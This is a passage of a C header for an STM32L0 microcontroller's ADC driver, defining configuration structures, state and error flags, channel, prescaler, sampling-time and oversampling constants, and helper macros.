* @brief Structure definition of ADC instance and ADC group regular.
* @note Parameters of this structure are shared within 2 scopes:
* - Scope entire ADC (differentiation done for compatibility with some other STM32 series featuring ADC groups regular and injected): ClockPrescaler, Resolution, DataAlign,
* ScanConvMode, EOCSelection, LowPowerAutoWait.
* - Scope ADC group regular: ContinuousConvMode, NbrOfConversion, DiscontinuousConvMode,
* ExternalTrigConv, ExternalTrigConvEdge, DMAContinuousRequests, Overrun, OversamplingMode, Oversampling.
* @note The setting of these parameters by function HAL_ADC_Init() is conditioned to ADC state.
* ADC state can be either:
* - For all parameters: ADC disabled
* - For all parameters except 'ClockPrescaler' and 'Resolution': ADC enabled without conversion on going on group regular.
* If ADC is not in the appropriate state to modify some parameters, these parameters setting is bypassed
* without error reporting (as it can be the expected behavior in case of intended action to update another parameter
* (which fulfills the ADC state condition) on the fly).
*/
typedef struct
{
uint32_t ClockPrescaler; /*!< Select ADC clock source (synchronous clock derived from APB clock or asynchronous clock derived from ADC dedicated HSI RC oscillator) and clock prescaler.
This parameter can be a value of @ref ADC_ClockPrescaler.
Note: In case of synchronous clock mode based on HCLK/1, the configuration must be enabled only
if the system clock has a 50% duty clock cycle (APB prescaler configured inside RCC
must be bypassed and PCLK clock must have 50% duty cycle). Refer to reference manual for details.
Note: In case of usage of the ADC dedicated HSI RC oscillator, it must be preliminarily enabled at RCC top level.
Note: This parameter can be modified only if the ADC is disabled. */
uint32_t Resolution; /*!< Configure the ADC resolution.
This parameter can be a value of @ref ADC_Resolution */
uint32_t DataAlign; /*!< Specify ADC data alignment in conversion data register (right or left).
Refer to reference manual for alignments formats versus resolutions.
This parameter can be a value of @ref ADC_Data_align */
uint32_t ScanConvMode; /*!< Configure the sequencer of regular group.
This parameter can be associated to parameter 'DiscontinuousConvMode' to have main sequence subdivided in successive parts.
Sequencer is automatically enabled if several channels are set (sequencer cannot be disabled, as it can be the case on other STM32 devices):
If only 1 channel is set: Conversion is performed in single mode.
If several channels are set: Conversions are performed in sequence mode (ranks defined by each channel number: channel 0 fixed on rank 0, channel 1 fixed on rank1, ...).
Scan direction can be set to forward (from channel 0 to channel 18) or backward (from channel 18 to channel 0).
This parameter can be a value of @ref ADC_Scan_mode */
uint32_t EOCSelection; /*!< Specify which EOC (End Of Conversion) flag is used for conversion by polling and interruption: end of unitary conversion or end of sequence conversions.
This parameter can be a value of @ref ADC_EOCSelection. */
uint32_t LowPowerAutoWait; /*!< Select the dynamic low power Auto Delay: new conversion start only when the previous
conversion (for ADC group regular) has been retrieved by user software,
using function HAL_ADC_GetValue().
This feature automatically adapts the frequency of ADC conversions triggers to the speed of the system that reads the data. Moreover, this avoids risk of overrun
for low frequency applications.
This parameter can be set to ENABLE or DISABLE.
Note: Do not use with interruption or DMA (HAL_ADC_Start_IT(), HAL_ADC_Start_DMA()) since they clear immediately the EOC flag
to free the IRQ vector sequencer.
Do use with polling: 1. Start conversion with HAL_ADC_Start(), 2. Later on, when ADC conversion data is needed:
use HAL_ADC_PollForConversion() to ensure that conversion is completed and HAL_ADC_GetValue() to retrieve conversion result and trig another conversion start. */
uint32_t LowPowerAutoPowerOff; /*!< Select the auto-off mode: the ADC automatically powers-off after a conversion and automatically wakes-up when a new conversion is triggered (with startup time between trigger and start of sampling).
This feature can be combined with automatic wait mode (parameter 'LowPowerAutoWait').
This parameter can be set to ENABLE or DISABLE.
Note: If enabled, this feature also turns off the ADC dedicated 14 MHz RC oscillator (HSI14) */
uint32_t ContinuousConvMode; /*!< Specify whether the conversion is performed in single mode (one conversion) or continuous mode for ADC group regular,
after the first ADC conversion start trigger occurred (software start or external trigger).
This parameter can be set to ENABLE or DISABLE. */
uint32_t DiscontinuousConvMode; /*!< Specify whether the conversions sequence of ADC group regular is performed in Complete-sequence/Discontinuous-sequence
(main sequence subdivided in successive parts).
Discontinuous mode is used only if sequencer is enabled (parameter 'ScanConvMode'). If sequencer is disabled, this parameter is discarded.
Discontinuous mode can be enabled only if continuous mode is disabled. If continuous mode is enabled, this parameter setting is discarded.
This parameter can be set to ENABLE or DISABLE.
Note: On this STM32 serie, ADC group regular number of discontinuous ranks increment is fixed to one-by-one. */
uint32_t ExternalTrigConv; /*!< Select the external event source used to trigger ADC group regular conversion start.
If set to ADC_SOFTWARE_START, external triggers are disabled and software trigger is used instead.
This parameter can be a value of @ref ADC_regular_external_trigger_source.
Caution: external trigger source is common to all ADC instances. */
uint32_t ExternalTrigConvEdge; /*!< Select the external event edge used to trigger ADC group regular conversion start.
If trigger source is set to ADC_SOFTWARE_START, this parameter is discarded.
This parameter can be a value of @ref ADC_regular_external_trigger_edge */
uint32_t DMAContinuousRequests; /*!< Specify whether the DMA requests are performed in one shot mode (DMA transfer stops when number of conversions is reached)
or in continuous mode (DMA transfer unlimited, whatever number of conversions).
This parameter can be set to ENABLE or DISABLE.
Note: In continuous mode, DMA must be configured in circular mode. Otherwise an overrun will be triggered when DMA buffer maximum pointer is reached. */
uint32_t Overrun; /*!< Select the behavior in case of overrun: data overwritten or preserved (default).
This parameter can be a value of @ref ADC_Overrun.
Note: In case of overrun set to data preserved and usage with programming model with interruption (HAL_Start_IT()): ADC IRQ handler has to clear
end of conversion flags, this induces the release of the preserved data. If needed, this data can be saved in function
HAL_ADC_ConvCpltCallback(), placed in user program code (called before end of conversion flags clear).
Note: Error reporting with respect to the conversion mode:
- Usage with ADC conversion by polling for event or interruption: Error is reported only if overrun is set to data preserved. If overrun is set to data
overwritten, user can willingly not read all the converted data, this is not considered as an erroneous case.
- Usage with ADC conversion by DMA: Error is reported whatever overrun setting (DMA is expected to process all data from data register). */
uint32_t LowPowerFrequencyMode; /*!< When selecting an analog ADC clock frequency lower than 2.8MHz,
it is mandatory to first enable the Low Frequency Mode.
This parameter can be set to ENABLE or DISABLE.
Note: This parameter can be modified only if there is no conversion is ongoing. */
uint32_t SamplingTime; /*!< The sample time common to all channels.
Unit: ADC clock cycles
This parameter can be a value of @ref ADC_sampling_times
Note: This parameter can be modified only if there is no conversion ongoing. */
uint32_t OversamplingMode; /*!< Specify whether the oversampling feature is enabled or disabled.
This parameter can be set to ENABLE or DISABLE.
Note: This parameter can be modified only if there is no conversion is ongoing on ADC group regular. */
ADC_OversamplingTypeDef Oversample; /*!< Specify the Oversampling parameters
Caution: this setting overwrites the previous oversampling configuration if oversampling is already enabled. */
}ADC_InitTypeDef;
/**
* @brief Structure definition of ADC channel for regular group
* @note The setting of these parameters by function HAL_ADC_ConfigChannel() is conditioned to ADC state.
* ADC state can be either:
* - For all parameters: ADC disabled or enabled without conversion on going on regular group.
* If ADC is not in the appropriate state to modify some parameters, these parameters setting is bypassed
* without error reporting (as it can be the expected behavior in case of intended action to update another parameter (which fulfills the ADC state condition) on the fly).
*/
typedef struct
{
uint32_t Channel; /*!< Specify the channel to configure into ADC regular group.
This parameter can be a value of @ref ADC_channels
Note: Depending on devices, some channels may not be available on device package pins. Refer to device datasheet for channels availability. */
uint32_t Rank; /*!< Add or remove the channel from ADC regular group sequencer.
On STM32L0 devices, number of ranks in the sequence is defined by number of channels enabled, rank of each channel is defined by channel number
(channel 0 fixed on rank 0, channel 1 fixed on rank1, ...).
Despite the channel rank is fixed, this parameter allow an additional possibility: to remove the selected rank (selected channel) from sequencer.
This parameter can be a value of @ref ADC_rank */
}ADC_ChannelConfTypeDef;
/**
* @brief Structure definition of ADC analog watchdog
* @note The setting of these parameters by function HAL_ADC_AnalogWDGConfig() is conditioned to ADC state.
* ADC state can be either:
* - For all parameters: ADC disabled or ADC enabled without conversion on going on ADC group regular
* - For parameters 'HighThreshold' and 'LowThreshold': ADC enabled with conversion on going on regular group (AWD thresholds can be modify on the fly while ADC conversion is on going)
*/
typedef struct
{
uint32_t WatchdogMode; /*!< Configure the ADC analog watchdog mode: single/all channels.
This parameter can be a value of @ref ADC_analog_watchdog_mode */
uint32_t Channel; /*!< Select which ADC channel to monitor by analog watchdog.
This parameter has an effect only if watchdog mode is configured on single channel (parameter WatchdogMode)
This parameter can be a value of @ref ADC_channels */
uint32_t ITMode; /*!< Specify whether the analog watchdog is configured in interrupt or polling mode.
This parameter can be set to ENABLE or DISABLE */
uint32_t HighThreshold; /*!< Configures the ADC analog watchdog High threshold value.
Depending of ADC resolution selected (12, 10, 8 or 6 bits),
this parameter must be a number between Min_Data = 0x000 and Max_Data = 0xFFF, 0x3FF, 0xFF or 0x3F respectively. */
uint32_t LowThreshold; /*!< Configures the ADC analog watchdog High threshold value.
Depending of ADC resolution selected (12, 10, 8 or 6 bits),
this parameter must be a number between Min_Data = 0x000 and Max_Data = 0xFFF, 0x3FF, 0xFF or 0x3F respectively. */
}ADC_AnalogWDGConfTypeDef;
/**
* @brief HAL ADC state machine: ADC states definition (bitfields)
* @note ADC state machine is managed by bitfields, state must be compared
* with bit by bit.
* For example:
* " if (HAL_IS_BIT_SET(HAL_ADC_GetState(hadc1), HAL_ADC_STATE_REG_BUSY)) "
* " if (HAL_IS_BIT_SET(HAL_ADC_GetState(hadc1), HAL_ADC_STATE_AWD1) ) "
*/
/* States of ADC global scope */
#define HAL_ADC_STATE_RESET ((uint32_t)0x00000000) /*!< ADC not yet initialized or disabled */
#define HAL_ADC_STATE_READY ((uint32_t)0x00000001) /*!< ADC peripheral ready for use */
#define HAL_ADC_STATE_BUSY_INTERNAL ((uint32_t)0x00000002) /*!< ADC is busy due to an internal process (initialization, calibration) */
#define HAL_ADC_STATE_TIMEOUT ((uint32_t)0x00000004) /*!< TimeOut occurrence */
/* States of ADC errors */
#define HAL_ADC_STATE_ERROR_INTERNAL ((uint32_t)0x00000010) /*!< Internal error occurrence */
#define HAL_ADC_STATE_ERROR_CONFIG ((uint32_t)0x00000020) /*!< Configuration error occurrence */
#define HAL_ADC_STATE_ERROR_DMA ((uint32_t)0x00000040) /*!< DMA error occurrence */
/* States of ADC group regular */
#define HAL_ADC_STATE_REG_BUSY ((uint32_t)0x00000100) /*!< A conversion on ADC group regular is ongoing or can occur (either by continuous mode,
external trigger, low power auto power-on (if feature available), multimode ADC master control (if feature available)) */
#define HAL_ADC_STATE_REG_EOC ((uint32_t)0x00000200) /*!< Conversion data available on group regular */
#define HAL_ADC_STATE_REG_OVR ((uint32_t)0x00000400) /*!< Overrun occurrence */
#define HAL_ADC_STATE_REG_EOSMP ((uint32_t)0x00000800) /*!< Not available on this STM32 serie: End Of Sampling flag raised */
/* States of ADC group injected */
#define HAL_ADC_STATE_INJ_BUSY ((uint32_t)0x00001000) /*!< Not available on this STM32 serie: A conversion on group injected is ongoing or can occur (either by auto-injection mode,
external trigger, low power auto power-on (if feature available), multimode ADC master control (if feature available)) */
#define HAL_ADC_STATE_INJ_EOC ((uint32_t)0x00002000) /*!< Not available on this STM32 serie: Conversion data available on group injected */
#define HAL_ADC_STATE_INJ_JQOVF ((uint32_t)0x00004000) /*!< Not available on this STM32 serie: Injected queue overflow occurrence */
/* States of ADC analog watchdogs */
#define HAL_ADC_STATE_AWD1 ((uint32_t)0x00010000) /*!< Out-of-window occurrence of ADC analog watchdog 1 */
#define HAL_ADC_STATE_AWD2 ((uint32_t)0x00020000) /*!< Not available on this STM32 serie: Out-of-window occurrence of ADC analog watchdog 2 */
#define HAL_ADC_STATE_AWD3 ((uint32_t)0x00040000) /*!< Not available on this STM32 serie: Out-of-window occurrence of ADC analog watchdog 3 */
/* States of ADC multi-mode */
#define HAL_ADC_STATE_MULTIMODE_SLAVE ((uint32_t)0x00100000) /*!< Not available on this STM32 serie: ADC in multimode slave state, controlled by another ADC master (when feature available) */
/**
* @brief ADC handle Structure definition
*/
typedef struct
{
ADC_TypeDef *Instance; /*!< Register base address */
ADC_InitTypeDef Init; /*!< ADC required parameters */
DMA_HandleTypeDef *DMA_Handle; /*!< Pointer DMA Handler */
HAL_LockTypeDef Lock; /*!< ADC locking object */
__IO uint32_t State; /*!< ADC communication state (bitmap of ADC states) */
__IO uint32_t ErrorCode; /*!< ADC Error code */
}ADC_HandleTypeDef;
/**
* @}
*/
/* Exported constants --------------------------------------------------------*/
/** @defgroup ADC_Exported_Constants ADC Exported Constants
* @{
*/
/** @defgroup ADC_Error_Code ADC Error Code
* @{
*/
#define HAL_ADC_ERROR_NONE ((uint32_t)0x00U) /*!< No error */
#define HAL_ADC_ERROR_INTERNAL ((uint32_t)0x01U) /*!< ADC IP internal error (problem of clocking,
enable/disable, erroneous state, ...) */
#define HAL_ADC_ERROR_OVR ((uint32_t)0x02U) /*!< Overrun error */
#define HAL_ADC_ERROR_DMA ((uint32_t)0x04U) /*!< DMA transfer error */
/**
* @}
*/
/** @defgroup ADC_TimeOut_Values ADC TimeOut Values
* @{
*/
/* Fixed timeout values for ADC calibration, enable settling time, disable */
/* settling time. */
/* Values defined to be higher than worst cases: low clocks freq, */
/* maximum prescalers. */
/* Unit: ms */
#define ADC_ENABLE_TIMEOUT 10U
#define ADC_DISABLE_TIMEOUT 10U
#define ADC_STOP_CONVERSION_TIMEOUT 10U
/* Delay of 10us fixed to worst case: maximum CPU frequency 180MHz to have */
/* the minimum number of CPU cycles to fulfill this delay */
#define ADC_DELAY_10US_MIN_CPU_CYCLES 1800U
/**
* @}
*/
/** @defgroup ADC_ClockPrescaler ADC Clock Prescaler
* @{
*/
#define ADC_CLOCK_ASYNC_DIV1 ((uint32_t)0x00000000U) /*!< ADC Asynchronous clock mode divided by 1 */
#define ADC_CLOCK_ASYNC_DIV2 (ADC_CCR_PRESC_0) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV4 (ADC_CCR_PRESC_1) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV6 (ADC_CCR_PRESC_1 | ADC_CCR_PRESC_0) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV8 (ADC_CCR_PRESC_2) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV10 (ADC_CCR_PRESC_2 | ADC_CCR_PRESC_0) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV12 (ADC_CCR_PRESC_2 | ADC_CCR_PRESC_1) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV16 (ADC_CCR_PRESC_2 | ADC_CCR_PRESC_1 | ADC_CCR_PRESC_0) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV32 (ADC_CCR_PRESC_3) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV64 (ADC_CCR_PRESC_3 | ADC_CCR_PRESC_0) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV128 (ADC_CCR_PRESC_3 | ADC_CCR_PRESC_1) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_ASYNC_DIV256 (ADC_CCR_PRESC_3 | ADC_CCR_PRESC_1 | ADC_CCR_PRESC_0) /*!< ADC Asynchronous clock mode divided by 2 */
#define ADC_CLOCK_SYNC_PCLK_DIV1 ((uint32_t)ADC_CFGR2_CKMODE) /*!< Synchronous clock mode divided by 1
This configuration must be enabled only if PCLK has a 50%
duty clock cycle (APB prescaler configured inside the RCC must be bypassed and the system clock
must by 50% duty cycle)*/
#define ADC_CLOCK_SYNC_PCLK_DIV2 ((uint32_t)ADC_CFGR2_CKMODE_0) /*!< Synchronous clock mode divided by 2 */
#define ADC_CLOCK_SYNC_PCLK_DIV4 ((uint32_t)ADC_CFGR2_CKMODE_1) /*!< Synchronous clock mode divided by 4 */
/**
* @}
*/
/** @defgroup ADC_Resolution ADC Resolution
* @{
*/
#define ADC_RESOLUTION_12B ((uint32_t)0x00000000U) /*!< ADC 12-bit resolution */
#define ADC_RESOLUTION_10B ((uint32_t)ADC_CFGR1_RES_0) /*!< ADC 10-bit resolution */
#define ADC_RESOLUTION_8B ((uint32_t)ADC_CFGR1_RES_1) /*!< ADC 8-bit resolution */
#define ADC_RESOLUTION_6B ((uint32_t)ADC_CFGR1_RES) /*!< ADC 6-bit resolution */
/**
* @}
*/
/** @defgroup ADC_Data_align ADC conversion data alignment
* @{
*/
#define ADC_DATAALIGN_RIGHT ((uint32_t)0x00000000U)
#define ADC_DATAALIGN_LEFT ((uint32_t)ADC_CFGR1_ALIGN)
/**
* @}
*/
/** @defgroup ADC_regular_external_trigger_edge ADC External Trigger Source Edge for Regular Group
* @{
*/
#define ADC_EXTERNALTRIGCONVEDGE_NONE ((uint32_t)0x00000000U)
#define ADC_EXTERNALTRIGCONVEDGE_RISING ((uint32_t)ADC_CFGR1_EXTEN_0)
#define ADC_EXTERNALTRIGCONVEDGE_FALLING ((uint32_t)ADC_CFGR1_EXTEN_1)
#define ADC_EXTERNALTRIGCONVEDGE_RISINGFALLING ((uint32_t)ADC_CFGR1_EXTEN)
/**
* @}
*/
/** @defgroup ADC_EOCSelection ADC EOC Selection
* @{
*/
#define ADC_EOC_SINGLE_CONV ((uint32_t) ADC_ISR_EOC)
#define ADC_EOC_SEQ_CONV ((uint32_t) ADC_ISR_EOS)
#define ADC_EOC_SINGLE_SEQ_CONV ((uint32_t)(ADC_ISR_EOC | ADC_ISR_EOS)) /*!< reserved for future use */
/**
* @}
*/
/** @defgroup ADC_Overrun ADC Overrun
* @{
*/
#define ADC_OVR_DATA_PRESERVED ((uint32_t)0x00000000U)
#define ADC_OVR_DATA_OVERWRITTEN ((uint32_t)ADC_CFGR1_OVRMOD)
/**
* @}
*/
/** @defgroup ADC_rank ADC rank
* @{
*/
#define ADC_RANK_CHANNEL_NUMBER ((uint32_t)0x00001000U) /*!< Enable the rank of the selected channels. Number of ranks in the sequence is defined by number of channels enabled, rank of each channel is defined by channel number (channel 0 fixed on rank 0, channel 1 fixed on rank1, ...) */
#define ADC_RANK_NONE ((uint32_t)0x00001001U) /*!< Disable the selected rank (selected channel) from sequencer */
/**
* @}
*/
/** @defgroup ADC_channels ADC_Channels
* @{
*/
#define ADC_CHANNEL_0 ((uint32_t)(ADC_CHSELR_CHSEL0))
#define ADC_CHANNEL_1 ((uint32_t)(ADC_CHSELR_CHSEL1) | ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_2 ((uint32_t)(ADC_CHSELR_CHSEL2) | ADC_CFGR1_AWDCH_1)
#define ADC_CHANNEL_3 ((uint32_t)(ADC_CHSELR_CHSEL3)| ADC_CFGR1_AWDCH_1 | ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_4 ((uint32_t)(ADC_CHSELR_CHSEL4)| ADC_CFGR1_AWDCH_2)
#define ADC_CHANNEL_5 ((uint32_t)(ADC_CHSELR_CHSEL5)| ADC_CFGR1_AWDCH_2| ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_6 ((uint32_t)(ADC_CHSELR_CHSEL6)| ADC_CFGR1_AWDCH_2| ADC_CFGR1_AWDCH_1)
#define ADC_CHANNEL_7 ((uint32_t)(ADC_CHSELR_CHSEL7)| ADC_CFGR1_AWDCH_2| ADC_CFGR1_AWDCH_1 | ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_8 ((uint32_t)(ADC_CHSELR_CHSEL8)| ADC_CFGR1_AWDCH_3)
#define ADC_CHANNEL_9 ((uint32_t)(ADC_CHSELR_CHSEL9)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_10 ((uint32_t)(ADC_CHSELR_CHSEL10)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_1)
#define ADC_CHANNEL_11 ((uint32_t)(ADC_CHSELR_CHSEL11)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_1| ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_12 ((uint32_t)(ADC_CHSELR_CHSEL12)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_2)
#define ADC_CHANNEL_13 ((uint32_t)(ADC_CHSELR_CHSEL13)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_2| ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_14 ((uint32_t)(ADC_CHSELR_CHSEL14)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_2| ADC_CFGR1_AWDCH_1)
#define ADC_CHANNEL_15 ((uint32_t)(ADC_CHSELR_CHSEL15)| ADC_CFGR1_AWDCH_3| ADC_CFGR1_AWDCH_2| ADC_CFGR1_AWDCH_1| ADC_CFGR1_AWDCH_0)
#if defined (STM32L053xx) || defined (STM32L063xx) || defined (STM32L073xx) || defined (STM32L083xx)
#define ADC_CHANNEL_16 ((uint32_t)(ADC_CHSELR_CHSEL16)| ADC_CFGR1_AWDCH_4)
#endif
#define ADC_CHANNEL_17 ((uint32_t)(ADC_CHSELR_CHSEL17)| ADC_CFGR1_AWDCH_4| ADC_CFGR1_AWDCH_0)
#define ADC_CHANNEL_18 ((uint32_t)(ADC_CHSELR_CHSEL18)| ADC_CFGR1_AWDCH_4| ADC_CFGR1_AWDCH_1)
/* Internal channels */
#if defined (STM32L053xx) || defined (STM32L063xx) || defined (STM32L073xx) || defined (STM32L083xx)
#define ADC_CHANNEL_VLCD ADC_CHANNEL_16
#endif
#define ADC_CHANNEL_VREFINT ADC_CHANNEL_17
#define ADC_CHANNEL_TEMPSENSOR ADC_CHANNEL_18
/**
* @}
*/
/** @defgroup ADC_Channel_AWD_Masks ADC Channel Masks
* @{
*/
#define ADC_CHANNEL_MASK ((uint32_t)0x0007FFFFU)
#define ADC_CHANNEL_AWD_MASK ((uint32_t)0x7C000000U)
/**
* @}
*/
/** @defgroup ADC_sampling_times ADC Sampling Cycles
* @{
*/
#define ADC_SAMPLETIME_1CYCLE_5 ((uint32_t)0x00000000U) /*!< ADC sampling time 1.5 cycle */
#define ADC_SAMPLETIME_3CYCLES_5 ((uint32_t)ADC_SMPR_SMPR_0) /*!< ADC sampling time 3.5 CYCLES */
#define ADC_SAMPLETIME_7CYCLES_5 ((uint32_t)ADC_SMPR_SMPR_1) /*!< ADC sampling time 7.5 CYCLES */
#define ADC_SAMPLETIME_12CYCLES_5 ((uint32_t)(ADC_SMPR_SMPR_1 | ADC_SMPR_SMPR_0)) /*!< ADC sampling time 12.5 CYCLES */
#define ADC_SAMPLETIME_19CYCLES_5 ((uint32_t)ADC_SMPR_SMPR_2) /*!< ADC sampling time 19.5 CYCLES */
#define ADC_SAMPLETIME_39CYCLES_5 ((uint32_t)(ADC_SMPR_SMPR_2 | ADC_SMPR_SMPR_0)) /*!< ADC sampling time 39.5 CYCLES */
#define ADC_SAMPLETIME_79CYCLES_5 ((uint32_t)(ADC_SMPR_SMPR_2 | ADC_SMPR_SMPR_1)) /*!< ADC sampling time 79.5 CYCLES */
#define ADC_SAMPLETIME_160CYCLES_5 ((uint32_t)ADC_SMPR_SMPR) /*!< ADC sampling time 160.5 CYCLES */
/**
* @}
*/
/** @defgroup ADC_Scan_mode ADC Scan mode
* @{
*/
/* Note: Scan mode values must be compatible with other STM32 devices having */
/* a configurable sequencer. */
/* Scan direction setting values are defined by taking in account */
/* already defined values for other STM32 devices: */
/* ADC_SCAN_DISABLE ((uint32_t)0x00000000) */
/* ADC_SCAN_ENABLE ((uint32_t)0x00000001) */
/* Scan direction forward is considered as default setting equivalent */
/* to scan enable. */
/* Scan direction backward is considered as additional setting. */
/* In case of migration from another STM32 device, the user will be */
/* warned of change of setting choices with assert check. */
#define ADC_SCAN_DIRECTION_FORWARD ((uint32_t)0x00000001U) /*!< Scan direction forward: from channel 0 to channel 18 */
#define ADC_SCAN_DIRECTION_BACKWARD ((uint32_t)0x00000002U) /*!< Scan direction backward: from channel 18 to channel 0 */
#define ADC_SCAN_ENABLE ADC_SCAN_DIRECTION_FORWARD /* For compatibility with other STM32 devices */
/**
* @}
*/
/** @defgroup ADC_Oversampling_Ratio ADC Oversampling Ratio
* @{
*/
#define ADC_OVERSAMPLING_RATIO_2 ((uint32_t)0x00000000U) /*!< ADC Oversampling ratio 2x */
#define ADC_OVERSAMPLING_RATIO_4 ((uint32_t)0x00000004U) /*!< ADC Oversampling ratio 4x */
#define ADC_OVERSAMPLING_RATIO_8 ((uint32_t)0x00000008U) /*!< ADC Oversampling ratio 8x */
#define ADC_OVERSAMPLING_RATIO_16 ((uint32_t)0x0000000CU) /*!< ADC Oversampling ratio 16x */
#define ADC_OVERSAMPLING_RATIO_32 ((uint32_t)0x00000010U) /*!< ADC Oversampling ratio 32x */
#define ADC_OVERSAMPLING_RATIO_64 ((uint32_t)0x00000014U) /*!< ADC Oversampling ratio 64x */
#define ADC_OVERSAMPLING_RATIO_128 ((uint32_t)0x00000018U) /*!< ADC Oversampling ratio 128x */
#define ADC_OVERSAMPLING_RATIO_256 ((uint32_t)0x0000001CU) /*!< ADC Oversampling ratio 256x */
/**
* @}
*/
/** @defgroup ADC_Right_Bit_Shift ADC Right Bit Shift
* @{
*/
#define ADC_RIGHTBITSHIFT_NONE ((uint32_t)0x00000000U) /*!< ADC No bit shift for oversampling */
#define ADC_RIGHTBITSHIFT_1 ((uint32_t)0x00000020U) /*!< ADC 1 bit shift for oversampling */
#define ADC_RIGHTBITSHIFT_2 ((uint32_t)0x00000040U) /*!< ADC 2 bits shift for oversampling */
#define ADC_RIGHTBITSHIFT_3 ((uint32_t)0x00000060U) /*!< ADC 3 bits shift for oversampling */
#define ADC_RIGHTBITSHIFT_4 ((uint32_t)0x00000080U) /*!< ADC 4 bits shift for oversampling */
#define ADC_RIGHTBITSHIFT_5 ((uint32_t)0x000000A0U) /*!< ADC 5 bits shift for oversampling */
#define ADC_RIGHTBITSHIFT_6 ((uint32_t)0x000000C0U) /*!< ADC 6 bits shift for oversampling */
#define ADC_RIGHTBITSHIFT_7 ((uint32_t)0x000000E0U) /*!< ADC 7 bits shift for oversampling */
#define ADC_RIGHTBITSHIFT_8 ((uint32_t)0x00000100U) /*!< ADC 8 bits shift for oversampling */
/**
* @}
*/
/** @defgroup ADC_Triggered_Oversampling_Mode ADC Triggered Oversampling Mode
* @{
*/
#define ADC_TRIGGEREDMODE_SINGLE_TRIGGER ((uint32_t)0x00000000U) /*!< ADC No bit shift for oversampling */
#define ADC_TRIGGEREDMODE_MULTI_TRIGGER ((uint32_t)0x00000200U) /*!< ADC No bit shift for oversampling */
/**
* @}
*/
/** @defgroup ADC_analog_watchdog_mode ADC Analog Watchdog Mode
* @{
*/
#define ADC_ANALOGWATCHDOG_NONE ((uint32_t) 0x00000000U)
#define ADC_ANALOGWATCHDOG_SINGLE_REG ((uint32_t)(ADC_CFGR1_AWDSGL | ADC_CFGR1_AWDEN))
#define ADC_ANALOGWATCHDOG_ALL_REG ((uint32_t) ADC_CFGR1_AWDEN)
/**
* @}
*/
/** @defgroup ADC_conversion_type ADC Conversion Group
* @{
*/
#define ADC_REGULAR_GROUP ((uint32_t)(ADC_FLAG_EOC | ADC_FLAG_EOS))
/**
* @}
*/
/** @defgroup ADC_Event_type ADC Event
* @{
*/
#define ADC_AWD_EVENT ((uint32_t)ADC_FLAG_AWD)
#define ADC_OVR_EVENT ((uint32_t)ADC_FLAG_OVR)
/**
* @}
*/
/** @defgroup ADC_interrupts_definition ADC Interrupts Definition
* @{
*/
#define ADC_IT_RDY ADC_IER_ADRDYIE /*!< ADC Ready (ADRDY) interrupt source */
#define ADC_IT_EOSMP ADC_IER_EOSMPIE /*!< ADC End of Sampling interrupt source */
#define ADC_IT_EOC ADC_IER_EOCIE /*!< ADC End of Regular Conversion interrupt source */
#define ADC_IT_EOS ADC_IER_EOSEQIE /*!< ADC End of Regular sequence of Conversions interrupt source */
#define ADC_IT_OVR ADC_IER_OVRIE /*!< ADC overrun interrupt source */
#define ADC_IT_AWD ADC_IER_AWDIE /*!< ADC Analog watchdog 1 interrupt source */
#define ADC_IT_EOCAL ADC_IER_EOCALIE /*!< ADC End of Calibration interrupt source */
/**
* @}
*/
/** @defgroup ADC_flags_definition ADC flags definition
* @{
*/
#define ADC_FLAG_RDY ADC_ISR_ADRDY /*!< ADC Ready flag */
#define ADC_FLAG_EOSMP ADC_ISR_EOSMP /*!< ADC End of Sampling flag */
#define ADC_FLAG_EOC ADC_ISR_EOC /*!< ADC End of Regular Conversion flag */
#define ADC_FLAG_EOS ADC_ISR_EOSEQ /*!< ADC End of Regular sequence of Conversions flag */
#define ADC_FLAG_OVR ADC_ISR_OVR /*!< ADC overrun flag */
#define ADC_FLAG_AWD ADC_ISR_AWD /*!< ADC Analog watchdog flag */
#define ADC_FLAG_EOCAL ADC_ISR_EOCAL /*!< ADC Enf Of Calibration flag */
#define ADC_FLAG_ALL (ADC_FLAG_RDY | ADC_FLAG_EOSMP | ADC_FLAG_EOC | ADC_FLAG_EOS | \
ADC_FLAG_OVR | ADC_FLAG_AWD | ADC_FLAG_EOCAL)
/**
* @}
*/
/**
* @}
*/
/* Exported macro ------------------------------------------------------------*/
/** @defgroup ADC_Exported_Macros ADC Exported Macros
* @{
*/
/** @brief Reset ADC handle state
* @param __HANDLE__: ADC handle
* @retval None
*/
#define __HAL_ADC_RESET_HANDLE_STATE(__HANDLE__) ((__HANDLE__)->State = HAL_ADC_STATE_RESET)
/**
* @brief Enable the ADC peripheral
* @param __HANDLE__: ADC handle
* @retval None
*/
#define __HAL_ADC_ENABLE(__HANDLE__) ((__HANDLE__)->Instance->CR |= ADC_CR_ADEN)
/**
* @brief Verification of hardware constraints before ADC can be enabled
* @param __HANDLE__: ADC handle
* @retval SET (ADC can be enabled) or RESET (ADC cannot be enabled)
*/
#define ADC_ENABLING_CONDITIONS(__HANDLE__) \
(( ( ((__HANDLE__)->Instance->CR) & \
